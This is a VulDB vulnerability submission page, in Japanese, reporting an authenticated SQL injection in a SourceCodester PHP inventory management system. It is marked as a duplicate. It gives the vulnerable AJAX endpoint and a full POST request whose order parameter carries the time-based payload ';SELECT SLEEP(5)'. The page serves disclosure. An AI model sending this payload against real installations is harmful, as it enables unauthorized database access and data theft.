提出 #288712: https://www.sourcecodester.com/users/mayurik Web PHP 1 POST Authenticated SQL Injection情報

タイトルhttps://www.sourcecodester.com/users/mayurik Web PHP 1 POST Authenticated SQL Injection
説明Attack Vector: WEB, Network Testeted on: Windows 10 using XAMPP Software Link: https://www.sourcecodester.com/php/16741/free-and-open-source-inventory-management-system-php-source-code.htm Affected url: /ample/app/ajax/catagory_data.php (POST request) raw=1&columns%5B0%5D%5Bdata%5D=id&columns%5B0%5D%5Bname%5D=&columns%5B0%5D%5Bsearchable%5D=true&columns%5B0%5D%5Borderable%5D=true&columns%5B0%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B0%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B1%5D%5Bdata%5D=name&columns%5B1%5D%5Bname%5D=&columns%5B1%5D%5Bsearchable%5D=true&columns%5B1%5D%5Borderable%5D=true&columns%5B1%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B1%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B2%5D%5Bdata%5D=description&columns%5B2%5D%5Bname%5D=&columns%5B2%5D%5Bsearchable%5D=true&columns%5B2%5D%5Borderable%5D=true&columns%5B2%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B2%5D%5Bsearch%5D%5Bregex%5D=false&columns%5B3%5D%5Bdata%5D=action&columns%5B3%5D%5Bname%5D=&columns%5B3%5D%5Bsearchable%5D=true&columns%5B3%5D%5Borderable%5D=true&columns%5B3%5D%5Bsearch%5D%5Bvalue%5D=&columns%5B3%5D%5Bsearch%5D%5Bregex%5D=false&order%5B0%5D%5Bcolumn%5D=0&order%5B0%5D%5Bdir%5D=asc;SELECT SLEEP(5)&start=0&length=10&search%5Bvalue%5D=&search%5Bregex%5D=false POST Authenticated SQL Injection POC payload: ;SELECT SLEEP(5) Attackers exploit SQL injection vulnerabilities by injecting specially crafted SQL commands into input fields that are directly incorporated into SQL queries executed by the application's backend database. These injected commands can manipulate the logic of the original query, potentially leading to unauthorized access or data leakage.
ソース⚠️ https://github.com/yethu123/XSS-and-SQL-Injection-on-Free-and-Open-Source-inventory-management-system/blob/main/Authenticated%20SQL%20Injection.md
ユーザー
 y3thu (UID 52000)
送信2024年02月27日 07:46 (3 年 ago)
モデレーション2024年02月28日 16:20 (1 day later)
ステータス重複
VulDBエントリ237570 [SourceCodester Free and Open Source Inventory Management System 1.0 /index.php?page=member columns[0][data] SQLインジェクション]
ポイント0

◂ 前概要次 ▸

Want to know what is going to be exploited?

We predict KEV entries!